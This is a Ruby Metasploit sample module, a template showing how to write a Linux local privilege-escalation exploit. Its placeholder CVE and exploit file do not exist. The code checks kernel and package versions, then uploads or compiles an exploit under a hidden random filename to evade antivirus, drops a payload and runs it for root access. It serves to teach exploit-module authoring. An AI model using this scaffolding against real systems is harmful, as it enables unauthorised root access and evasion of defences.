Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
###  
#  
# This exploit sample shows how an exploit module could be written to exploit  
# a bug in a command on a linux computer for priv esc.  
#  
###  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Kernel  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
# The Name should be just like the line of a Git commit - software name,  
# vuln type, class. Preferably apply  
# some search optimization so people can actually find the module.  
# We encourage consistency between module name and file name.  
'Name' => 'Sample Linux Priv Esc',  
'Description' => %q(  
This exploit module illustrates how a vulnerability could be exploited  
in an linux command for priv esc.  
),  
'License' => MSF_LICENSE,  
# The place to add your name/handle and email. Twitter and other contact info isn't handled here.  
# Add reference to additional authors, like those creating original proof of concepts or  
# reference materials.  
# It is also common to comment in who did what (PoC vs metasploit module, etc)  
'Author' =>  
[  
'h00die <mike@stcyrsecurity.com>', # msf module  
'researcher' # original PoC, analysis  
],  
'Platform' => [ 'linux' ],  
# from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit  
# may only apply to say ARCH_PPC or something else, where a specific arch is required.  
# A full list is available in lib/msf/core/payload/uuid.rb  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
# What types of sessions we can use this module in conjunction with. Most modules use libraries  
# which work on shell and meterpreter, but there may be a nuance between one of them, so best to  
# test both to ensure compatibility.  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
# from lib/msf/core/module/privileged, denotes if this requires or gives privileged access  
# since privilege escalation modules typically result in elevated privileges, this is  
# generally set to true  
'Privileged' => true,  
'References' =>  
[  
[ 'OSVDB', '12345' ],  
[ 'EDB', '12345' ],  
[ 'URL', 'http://www.example.com'],  
[ 'CVE', '1978-1234']  
],  
'DisclosureDate' => "Nov 29 2019",  
# Note that DefaultTarget refers to the index of an item in Targets, rather than name.  
# It's generally easiest just to put the default at the beginning of the list and skip this  
# entirely.  
'DefaultTarget' => 0  
)  
)  
# We typically drop a pre-compiled exploit to disk and run it, however the option  
# is left for the user to gcc it themselves if there is an add OS or other dependency  
register_options [  
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ])  
]  
# force exploit is used to bypass the check command results  
register_advanced_options [  
OptBool.new('ForceExploit', [ false, 'Override check result', false ]),  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
]  
  
end  
  
# Simplify pulling the writable directory variable  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
# Simplify and standardize uploading a file  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
write_file path, data  
end  
  
# Simplify uploading and chmoding a file  
def upload_and_chmodx(path, data)  
upload path, data  
chmod path  
register_file_for_cleanup path  
end  
  
# Simplify uploading and compiling a file  
def upload_and_compile(path, data, gcc_args='')  
upload "#{path}.c", data  
  
gcc_cmd = "gcc -o #{path} #{path}.c"  
if session.type.eql? 'shell'  
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"  
end  
  
if gcc_args.to_s.blank?  
gcc_cmd << " #{gcc_args}"  
end  
  
output = cmd_exec gcc_cmd  
  
unless output.blank?  
print_error output  
fail_with Failure::Unknown, "#{path}.c failed to compile"  
end  
  
register_file_for_cleanup path  
chmod path  
end  
  
# Pull the exploit binary or file (.c typically) from our system  
def exploit_data(file)  
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'DOES_NOT_EXIST', file)  
end  
  
# If we're going to live compile on the system, check gcc is installed  
def live_compile?  
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')  
  
if has_gcc?  
vprint_good 'gcc is installed'  
return true  
end  
  
unless datastore['COMPILE'].eql? 'Auto'  
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'  
end  
end  
  
def check  
# Check the kernel version to see if its in a vulnerable range  
release = kernel_release  
if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') ||  
Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0')  
vprint_error "Kernel version #{release} is not vulnerable"  
return CheckCode::Safe  
end  
vprint_good "Kernel version #{release} appears to be vulnerable"  
  
# Check the app is installed and the version, debian based example  
package = cmd_exec('dpkg -l example | grep \'^ii\'')  
if package && package.include?('1:2015.3.14AR.1-1build1')  
print_good("Vulnerable app version #{package} detected")  
CheckCode::Appears  
end  
CheckCode::Safe  
end  
  
#  
# The exploit method drops a payload file to the system, then either compiles and runs  
# or just runs the exploit on the system.  
#  
def exploit  
# First check the system is vulnerable, or the user wants to run regardless  
unless check == CheckCode::Appears  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
# Check if we're already root  
if is_root?  
unless datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'  
end  
end  
  
# Make sure we can write our exploit and payload to the remote system  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
# Upload exploit executable, writing to a random name so AV doesn't have too easy a job  
executable_name = ".#{rand_text_alphanumeric(5..10)}"  
executable_path = "#{base_dir}/#{executable_name}"  
if live_compile?  
vprint_status 'Live compiling exploit on system...'  
upload_and_compile executable_path, strip_comments(exploit_data('example.c'))  
rm_f "#{executable_path}.c"  
else  
vprint_status 'Dropping pre-compiled exploit on system...'  
upload_and_chmodx executable_path, exploit_data('example')  
end  
  
# Upload payload executable  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"  
upload_and_chmodx payload_path, generate_payload_exe  
  
# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the  
# output from the exploit being run, they can optionally see it  
timeout = 30  
print_status "Launching exploit..."  
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout  
output.each_line { |line| vprint_status line.chomp }  
end  
end